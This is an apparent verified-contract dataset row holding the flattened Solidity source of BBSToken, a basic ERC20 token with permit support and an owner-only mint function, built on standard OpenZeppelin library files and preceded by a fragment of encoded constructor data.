00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000220000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000c0091cce295c4544225cbd1821b0ddad03b4514000000000000000000000000609cb370a28b4a53f4250bd1257b1a497583926f000000000000000000000000ebd700f0890f07504704f7baddc3caa7d6918a7700000000000000000000000024db77f8911cc9983ac79a2bf775c671c723d566000000000000000000000000d0e04fa0ef76aaaa8f3e46a5dabb8ea90531648f0000000000000000000000008001b55090614fa52abff3898dc10b0a26bcd18b00000000000000000000000067380b7bbcaa81ef47a13434c0092739fc0e0bcb0000000000000000000000004f8bf87be6950c1728685899fadbb74cbbc4334c0000000000000000000000000d0ba2fb3c3cd012f68e6d1023c2c33d03100d7e00000000000000000000000053f7bf4c358295b3b4fb6b78f9664bdc2fc96d27000000000000000000000000309d3522f7c3a4fe6ac6bb8a2f3916d24c643df70000000000000000000000009e9cb57c0a779e7f80571b2334d96645d491de620000000000000000000000000a0d164a2e7e0423f5f61533dccfab1b6efd6b4b000000000000000000000000c5c84c5b07e927178c001b87f3cdf7ca1b36ea68000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000019d971e4fe8401e7400000000000000000000000000000000000000000000001027e72f1f128130880000000000000000000000000000000000000000000000183bdac6ae9bc1c8cc000000000000000000000000000000000000000000000009b18ab5df7180b6b8000000000000000000000000000000000000000000000009b18ab5df7180b6b800000000000000000000000000000000000000000000000b4f21d42f59c0d52c0000000000000000000000000000000000000000000000183bdac6ae9bc1c8cc0000000000000000000000000000000000000000000000169e43a85eb381aa5800000000000000000000000000000000000000000000000813f3978f894098440000000000000000000000000000000000000000000000095ed2e302a973e3d400000000000000000000000000000000000000000000000052b7d2dcc80cd2e400000000000000000000000000000000000000000000000813f3978f8940984400000000000000000000000000000000000000000000000fb998d4839bd813f493f0ea0000000000000000000000000000000000000000006e4e5a9b76a91c936c0f16 | byzantium | false | ||||
BBSToken | 0xfe459828c90c0ba4bc8b42f5c5d44f316700b430 | Solidity | // File: contracts/BBSToken.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol";
contract BBSToken is ERC20, ERC20Permit, Ownable {
constructor() ERC20("BBS", "BBS") ERC20Permit("BBS") {}
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./draft-IERC20Permit.sol";
import "../ERC20.sol";
import "../../../utils/cryptography/draft-EIP712.sol";
import "../../../utils/cryptography/ECDSA.sol";
import "../../../utils/Counters.sol";
/**
* @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* _Available since v3.4._
*/
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
using Counters for Counters.Counter;
mapping(address => Counters.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private immutable _PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/**
* @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
*
* It's a good idea to use the same `name` that is defined as the ERC20 token name.
*/
constructor(string memory name) EIP712(name, "1") {}
/**
* @dev See {IERC20Permit-permit}.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
/**
* @dev See {IERC20Permit-nonces}.
*/
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
/**
* @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
/**
* @dev "Consume a nonce": return the current value and increment.
*
* _Available since v4.1._
*/
function _useNonce(address owner) internal virtual returns (uint256 current) {
Counters.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
* given ``owner``'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// File: @openzeppelin/contracts/utils/cryptography/draft-EIP712.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ECDSA.sol";
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
// Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = block.chainid;
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_TYPE_HASH = typeHash;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view returns (bytes32) {
if (block.chainid == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(
bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash
) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
}
}
// File: @openzeppelin/contracts/utils/cryptography/ECDSA.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// File: @openzeppelin/contracts/utils/Counters.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
